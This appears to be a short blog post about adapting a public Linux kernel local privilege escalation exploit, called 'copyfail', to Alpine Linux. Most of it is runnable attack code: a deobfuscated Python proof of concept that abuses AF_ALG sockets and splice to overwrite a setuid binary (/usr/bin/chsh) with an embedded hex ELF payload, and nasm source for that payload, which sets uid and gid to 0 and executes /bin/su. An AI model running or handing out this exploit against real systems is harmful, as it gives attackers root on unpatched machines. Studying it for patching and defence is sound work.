astr.al


fixing up copyfail on Alpine

today, a rather nasty local privilege escalation bug affecting Linux since 4.14 (commit 72548b093ee3) dropped. the bug affects essentially all mainstream distro kernels with the CONFIG_CRYPTO_USER_API Kconfig flag enabled. A detailed explanation of the exploit process is available here.
one thing I did notice is that the provided proof of concept did NOT work on Alpine Linux machines, as the base system doesn't ship with any world-readable setuid binaries. I modified the code to target a binary belonging to an installed package (/bin/ping in iputils-ping, /usr/bin/chsh in shadow also worked) and found that instead of a root shell, I was greeted with:
: applet not found
The tiny ELF blob bundled with the exploit doesn't invoke execve with the correct arguments. Alpine ships busybox by default, and busybox packs its functionality into one of two binaries, busybox itself and bbsuid for the setuid applets. This model requires argv[0] to be properly set so that busybox knows which utility is being invoked.
Here's a deobfuscated version of the proof of concept - it's much easier to follow what's going on. I've also included a replacement ELF blob that correctly invokes /bin/su.

File: download
#!/usr/bin/env python3
import os
import socket

def write_four_byte_chunk(target_fd, payload_offset, payload_chunk):
    alg_socket = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
    alg_socket.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

    alg_socket.setsockopt(socket.SOL_ALG, 1, bytes.fromhex("0800010000000010" + "0" * 64))
    alg_socket.setsockopt(socket.SOL_ALG, 5, None, 4)

    op_socket, _ = alg_socket.accept()
    splice_len   = payload_offset + 4

    op_socket.sendmsg(
        [b"A" * 4 + payload_chunk],
        [
            (socket.SOL_ALG, 3, b"\x00" * 4),
            (socket.SOL_ALG, 2, b"\x10" + b"\x00" * 19),
            (socket.SOL_ALG, 4, b"\x08" + b"\x00" * 3),
        ],
        32768,
    )

    pipe_read, pipe_write = os.pipe()

    os.splice(target_fd, pipe_write, splice_len, offset_src=0)
    os.splice(pipe_read, op_socket.fileno(), splice_len)

    try:
        op_socket.recv(8 + payload_offset)
    except Exception:
        pass


target_fd = os.open("/usr/bin/chsh", os.O_RDONLY)

payload_offset = 0
replacement_elf_payload = bytes.fromhex("7f454c4602010100000000000000000002003e0001000000780040000000000040000000000000000000000000000000000000004000380001000000000000000100000005000000000000000000000000004000000000000000400000000000bf00000000000000bf000000000000000010000000000000488b04244c8d64c41031ffb86a0000000f0531ffb8690000000f0531c05048bb2f62696e2f737500534889e750574889e64c89e2b83b0000000f05b83c000000bf010000000f05")

while payload_offset < len(replacement_elf_payload):
    payload_chunk = replacement_elf_payload[payload_offset:payload_offset + 4]
    write_four_byte_chunk(target_fd, payload_offset, payload_chunk)
    payload_offset += 4

os.system("chsh")

The following nasm-compatible source will yield a minimal ELF binary (static, no sections) that calls setgid(0); setuid(0); execve("/bin/su", { "/bin/su", NULL }, envp);. Compile the binary and convert it into hex:
nasm -fbin elevate.asm -o/proc/self/fd/1 | xxd -p -c256 /proc/self/fd/0
File: download
BITS 64
org 0x400000

ehdr:
    db 0x7f, "ELF"
    db 2
    db 1
    db 1
    db 0
    db 0
    times 7 db 0

    dw 2
    dw 0x3e
    dd 1
    dq _start
    dq phdr - $$
    dq 0
    dd 0
    dw ehdr_end - ehdr
    dw phdr_end - phdr
    dw 1
    dw 0
    dw 0
    dw 0

ehdr_end:

phdr:
    dd 1
    dd 5
    dq 0
    dq $$
    dq $$
    dq filesize
    dq filesize
    dq 0x1000

phdr_end:

_start:
    ; save envp
    mov rax, [rsp]
    lea r12, [rsp + rax*8 + 16]

    ; setgid(0)
    xor edi, edi
    mov eax, 106
    syscall

    ; setuid(0)
    xor edi, edi
    mov eax, 105
    syscall

    ; /bin/su\0
    xor eax, eax
    push rax
    mov rbx, 0x75732f6e69622f
    push rbx
    mov rdi, rsp

    push rax ; argv[1]
    push rdi ; argv[0]
    mov rsi, rsp ; argv
    mov rdx, r12 ; envp

    ; execve
    mov eax, 59
    syscall

    ; failed, exit
    mov eax, 60
    mov edi, 1
    syscall

file_end:
filesize equ file_end - $$